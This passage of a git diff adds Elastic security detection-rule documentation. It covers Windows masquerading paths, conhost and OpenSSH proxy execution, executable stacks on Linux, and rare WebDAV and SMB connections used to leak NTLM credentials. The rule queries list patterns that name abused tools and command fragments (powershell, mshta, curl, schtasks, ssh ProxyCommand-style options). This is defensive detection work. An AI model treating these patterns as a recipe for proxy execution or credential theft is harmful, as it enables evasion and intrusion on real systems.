values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of executable and signature conditions. + + +*Related Rules* + + +- Unusual Windows Path Activity - 445a342e-03fb-42d0-8656-0367eb2dead5 +- Execution from Unusual Directory - Command Line - cff92c41-2225-4763-b4ce-6f71e5bda5e6 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* add suspicious execution paths here */ + process.executable : ( + "?:\\PerfLogs\\*.exe", "?:\\Users\\Public\\*.exe", "?:\\Windows\\Tasks\\*.exe", + "?:\\Intel\\*.exe", "?:\\AMD\\Temp\\*.exe", "?:\\Windows\\AppReadiness\\*.exe", + "?:\\Windows\\ServiceState\\*.exe", "?:\\Windows\\security\\*.exe", "?:\\Windows\\IdentityCRL\\*.exe", + "?:\\Windows\\Branding\\*.exe", "?:\\Windows\\csc\\*.exe", "?:\\Windows\\DigitalLocker\\*.exe", + "?:\\Windows\\en-US\\*.exe", "?:\\Windows\\wlansvc\\*.exe", "?:\\Windows\\Prefetch\\*.exe", + "?:\\Windows\\Fonts\\*.exe", "?:\\Windows\\diagnostics\\*.exe", "?:\\Windows\\TAPI\\*.exe", + "?:\\Windows\\INF\\*.exe", "?:\\Windows\\System32\\Speech\\*.exe", "?:\\windows\\tracing\\*.exe", + "?:\\windows\\IME\\*.exe", "?:\\Windows\\Performance\\*.exe", "?:\\windows\\intel\\*.exe", + "?:\\windows\\ms\\*.exe", "?:\\Windows\\dot3svc\\*.exe", "?:\\Windows\\panther\\*.exe", + "?:\\Windows\\RemotePackages\\*.exe", "?:\\Windows\\OCR\\*.exe", "?:\\Windows\\appcompat\\*.exe", + "?:\\Windows\\apppatch\\*.exe", "?:\\Windows\\addins\\*.exe", "?:\\Windows\\Setup\\*.exe", + "?:\\Windows\\Help\\*.exe", "?:\\Windows\\SKB\\*.exe", "?:\\Windows\\Vss\\*.exe", + "?:\\Windows\\Web\\*.exe", "?:\\Windows\\servicing\\*.exe", "?:\\Windows\\CbsTemp\\*.exe", + "?:\\Windows\\Logs\\*.exe", "?:\\Windows\\WaaS\\*.exe", "?:\\Windows\\ShellExperiences\\*.exe", + "?:\\Windows\\ShellComponents\\*.exe", "?:\\Windows\\PLA\\*.exe", "?:\\Windows\\Migration\\*.exe", + "?:\\Windows\\debug\\*.exe", "?:\\Windows\\Cursors\\*.exe", "?:\\Windows\\Containers\\*.exe", + "?:\\Windows\\Boot\\*.exe", "?:\\Windows\\bcastdvr\\*.exe", "?:\\Windows\\assembly\\*.exe", + "?:\\Windows\\TextInput\\*.exe", "?:\\Windows\\security\\*.exe", "?:\\Windows\\schemas\\*.exe", + "?:\\Windows\\SchCache\\*.exe", "?:\\Windows\\Resources\\*.exe", "?:\\Windows\\rescache\\*.exe", + "?:\\Windows\\Provisioning\\*.exe", "?:\\Windows\\PrintDialog\\*.exe", "?:\\Windows\\PolicyDefinitions\\*.exe", + "?:\\Windows\\media\\*.exe", "?:\\Windows\\Globalization\\*.exe", "?:\\Windows\\L2Schemas\\*.exe", + "?:\\Windows\\LiveKernelReports\\*.exe", "?:\\Windows\\ModemLogs\\*.exe", + "?:\\Windows\\ImmersiveControlPanel\\*.exe" + ) and + + not process.name : ( + "SpeechUXWiz.exe", "SystemSettings.exe", "TrustedInstaller.exe", + "PrintDialog.exe", "MpSigStub.exe", "LMS.exe", "mpam-*.exe" + ) and + not process.executable : + ("?:\\Intel\\Wireless\\WUSetupLauncher.exe", + "?:\\Intel\\Wireless\\Setup.exe", + "?:\\Intel\\Move Mouse.exe", + "?:\\windows\\Panther\\DiagTrackRunner.exe", + "?:\\Windows\\servicing\\GC64\\tzupd.exe", + "?:\\Users\\Public\\res\\RemoteLite.exe", + "?:\\Users\\Public\\IBM\\ClientSolutions\\*.exe", + "?:\\Users\\Public\\Documents\\syspin.exe", + "?:\\Users\\Public\\res\\FileWatcher.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-started-with-executable-stack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-started-with-executable-stack.asciidoc new file mode 100644 index 0000000000..02f00ebe77 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-process-started-with-executable-stack.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-process-started-with-executable-stack]] +=== Process Started with Executable Stack + +This rule monitors the syslog log file for messages related to instances of processes that are started with an executable stack. This can be an indicator of a process that is attempting to execute code from the stack, which can be a security risk. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: System +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Process Started with Executable Stack* + + +In Linux environments, processes with executable stacks can pose security risks as they may allow code execution from the stack, a behavior often exploited by attackers to run arbitrary code. Adversaries might leverage this to execute malicious scripts or commands. The detection rule monitors syslog for kernel messages indicating such processes, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the syslog entries to identify the specific process that triggered the alert, focusing on the message field containing "started with executable stack". +- Investigate the process name and associated command-line arguments to understand the nature and purpose of the process. +- Check the process's parent process to determine if it was spawned by a legitimate application or service. +- Analyze the user account under which the process is running to assess if it aligns with expected behavior and permissions. +- Look for any recent changes or anomalies in the system that might correlate with the process start time, such as new software installations or configuration changes. +- Cross-reference the process with known threat intelligence sources to identify if it matches any known malicious patterns or indicators. + + +*False positive analysis* + + +- Development tools and environments may intentionally use executable stacks for legitimate purposes, such as certain debugging or testing scenarios. Users can create exceptions for these specific tools by identifying their process names and excluding them from the detection rule. +- Some legacy applications might require executable stacks due to outdated coding practices. Users should verify the necessity of these applications and, if deemed non-threatening, add them to an exclusion list based on their process names or paths. +- Custom scripts or applications developed in-house might inadvertently use executable stacks. Conduct a review of these scripts to ensure they are safe, and if so, exclude them from monitoring by specifying their unique identifiers. +- Certain system utilities or libraries might trigger this rule during normal operations. Users should consult documentation or vendor support to confirm if these are expected behaviors and exclude them accordingly if they pose no risk. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate the suspicious process identified with an executable stack to halt any ongoing malicious activity. +- Conduct a thorough analysis of the process and its associated files to identify any malicious payloads or scripts that may have been executed. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Apply security patches and updates to the operating system and applications to mitigate vulnerabilities that could be exploited by similar threats. +- Implement stack protection mechanisms such as stack canaries or non-executable stack configurations to prevent future exploitation. +- Escalate the incident to the security operations team for further investigation and to assess the need for additional security measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Filebeat + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat for the Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete Setup and Run Filebeat information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the Filebeat System Module to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and data_stream.dataset:"system.syslog" and process.name:"kernel" and +message:"started with executable stack" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-program-files-directory-masquerading.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-program-files-directory-masquerading.asciidoc new file mode 100644 index 0000000000..b348ac755d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-program-files-directory-masquerading.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-program-files-directory-masquerading]] +=== Program Files Directory Masquerading + +Identifies execution from a directory masquerading as the Windows Program Files directories. These paths are trusted and usually host trusted third party programs. An adversary may leverage masquerading, along with low privileges to bypass detections allowlisting those folders. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Program Files Directory Masquerading* + + +The Program Files directories in Windows are trusted locations for legitimate software. Adversaries may exploit this trust by creating similarly named directories to execute malicious files, bypassing security measures. The detection rule identifies suspicious executions from these masquerading paths, excluding known legitimate directories, to flag potential threats. This helps in identifying defense evasion tactics used by attackers. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it matches any known masquerading patterns, such as unexpected directories containing "Program Files" in their path. +- Check the parent process of the suspicious executable to determine how it was launched and assess if the parent process is legitimate or potentially malicious. +- Investigate the user account associated with the process execution to determine if it has low privileges and if the activity aligns with typical user behavior. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine the file hash of the executable to see if it matches known malware signatures or if it has been flagged in threat intelligence databases. +- Assess the network activity associated with the process to identify any unusual outbound connections that could indicate data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate software installations or updates may create temporary directories resembling Program Files paths. Users can monitor installation logs and exclude these specific paths if they are verified as part of a legitimate process. +- Some enterprise applications may use custom directories that mimic Program Files for compatibility reasons. IT administrators should document these paths and add them to the exclusion list to prevent false alerts. +- Development environments might create test directories with similar naming conventions. Developers should ensure these paths are excluded during active development phases to avoid unnecessary alerts. +- Security tools or scripts that perform regular checks or updates might execute from non-standard directories. Verify these tools and add their execution paths to the exception list if they are confirmed safe. +- Backup or recovery software might temporarily use directories that resemble Program Files for storing executable files. Confirm the legitimacy of these operations and exclude the paths if they are part of routine backup processes. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious processes identified as executing from masquerading directories to halt any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and restore any altered system configurations or settings to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement additional monitoring on the affected system and similar environments to detect any recurrence of the threat or similar tactics. +- Update security policies and access controls to prevent unauthorized creation of directories that mimic trusted paths, enhancing defenses against similar masquerading attempts. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.executable : ( + "C:\\*Program Files*\\*.exe", + "\\Device\\HarddiskVolume*\\*Program Files*\\*.exe" + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "?:\\Windows\\Downloaded Program Files\\*.exe", + "?:\\Windows\\Temp\\.opera\\????????????\\CProgram?FilesOpera*\\*.exe", + "?:\\Windows\\Temp\\.opera\\????????????\\CProgram?Files?(x86)Opera*\\*.exe", + + /* NT Object Paths */ + "\\Device\\HarddiskVolume*\\Program Files\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", + "\\Device\\HarddiskVolume*\\Windows\\Downloaded Program Files\\*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-console-window-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-console-window-host.asciidoc new file mode 100644 index 0000000000..b35db1458c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-console-window-host.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-proxy-execution-via-console-window-host]] +=== Proxy Execution via Console Window Host + +Identifies abuse of the Console Window Host (conhost.exe) to execute commands via proxy. This behavior is used as a defense evasion technique to blend-in malicious activity with legitimate Windows software. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Conhost/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Console Window Host* + + + +*Possible investigation steps* + + +- Review the conhost child processes and the parent process to identify the initial vector. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and process.args : "--headless" and + process.command_line : ("*powershell*", "*cmd *", "*cmd.exe *", "*script*", "*mshta*", "*curl *", "*curl.exe *", "*^*^*^*", "*.bat*", "*.cmd*", "*schtasks*", "*@SSL*", "*http*", "* \\\\*", "*.vbs*", "*.js*", "*mhsta*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-windows-openssh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-windows-openssh.asciidoc new file mode 100644 index 0000000000..bf45662c95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-proxy-execution-via-windows-openssh.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-21-proxy-execution-via-windows-openssh]] +=== Proxy Execution via Windows OpenSSH + +Identifies attempts to execute commands via proxy using the Windows OpenSSH client. This may indicate an attempt to bypass application control via trusted windows binaries. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Ssh/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Proxy Execution via Windows OpenSSH* + + + +*Possible investigation steps* + + +- Review the ssh child processes and the parent process to identify the initial vector. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name : ("ssh.exe", "sftp.exe") and + process.command_line : ("*Command=*powershell*", "*schtasks*", "*Command=*@echo off*", "*Command=*http*", "*Command=*mshta*", "*Command=*msiexec*", + "*Command=*cmd /c*", "*Command=*cmd.exe*", "*Command=\"cmd /c*", "*LocalCommand=scp*&&*", "*LocalCommand=?scp*&&*", "*Command=*script*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-connection-to-webdav-target.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-connection-to-webdav-target.asciidoc new file mode 100644 index 0000000000..b07b0754bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-connection-to-webdav-target.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-rare-connection-to-webdav-target]] +=== Rare Connection to WebDAV Target + +Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-3660s ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Rare Connection to WebDAV Target* + + + +*Possible investigation steps* + + +- Examine the reputation of the destination domain or IP address. +- Verify if the target user opened any attachments or clicked links pointing to the same target within seconds from the alert timestamp. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- User accessing legit WebDAV resources. + + +*Response and remediation* + + +- Conduct a password reset for the target account that may have been compromised or are at risk, ensuring the use of strong, unique passwords. +- Verify whether other users were targeted but did not open the lure.. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence, ensuring lessons learned are applied to improve overall security posture. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, logs-system.security-*, logs-windows.*, winlogbeat-*, logs-crowdstrike.fdr*, logs-m365_defender.event-* METADATA _id, _version, _index +| where + @timestamp > now() - 8 hours and + event.category == "process" and + event.type == "start" and + process.name == "rundll32.exe" and + process.command_line like "*DavSetCookie*" +| keep host.id, process.command_line, user.name, user.id +// extract domain or IP address from process cmdline +| grok process.command_line """(?((http|https)://[a-zA-Z0-9-\.]{1,}\.[a-zA-Z]{2,3}[@\/]+)|(\b(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\b)[@\/]+)""" +// remove sub domains from URL +| eval Esql.server_webdav_server = REPLACE(Esql.server_webdav_server, """((http|https)://[a-zA-Z0-9-]{1,}\.)""", "") +| eval Esql.server_webdav_server = REPLACE(Esql.server_webdav_server, "/", "") +| where + Esql.server_webdav_server is not null and + not Esql.server_webdav_server in ("www.google.com", "www.elastic.co", "sharepoint.com", "live.net", "google.com", "SHAREPOINT.COM", "github.com") and + // excludes private IP ranges + not Esql.server_webdav_server rlike """(10\.(\d{1,3}\.){2}\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.(\d{1,3}\.)\d{1,3}|192\.168\.(\d{1,3}\.)\d{1,3})""" +| stats + Esql.event_count = count(*), + Esql.host_id_count_distinct = count_distinct(host.id), + Esql.host_id_values = values(host.id), + Esql.user_name_values = values(user.name) + by Esql.server_webdav_server +| where + Esql.host_id_count_distinct == 1 and Esql.event_count <= 3 +| eval host.id = MV_MIN(Esql.host_id_values), user.name = MV_MIN(Esql.user_name_values), destination.domain = MV_MIN(Esql.server_webdav_server) +| KEEP host.id, user.name, destination.domain, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-smb-connection-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-smb-connection-to-the-internet.asciidoc new file mode 100644 index 0000000000..1dd47af434 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rare-smb-connection-to-the-internet.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-21-rare-smb-connection-to-the-internet]] +=== Rare SMB Connection to the Internet + +This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials via rogue UNC path injection. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + 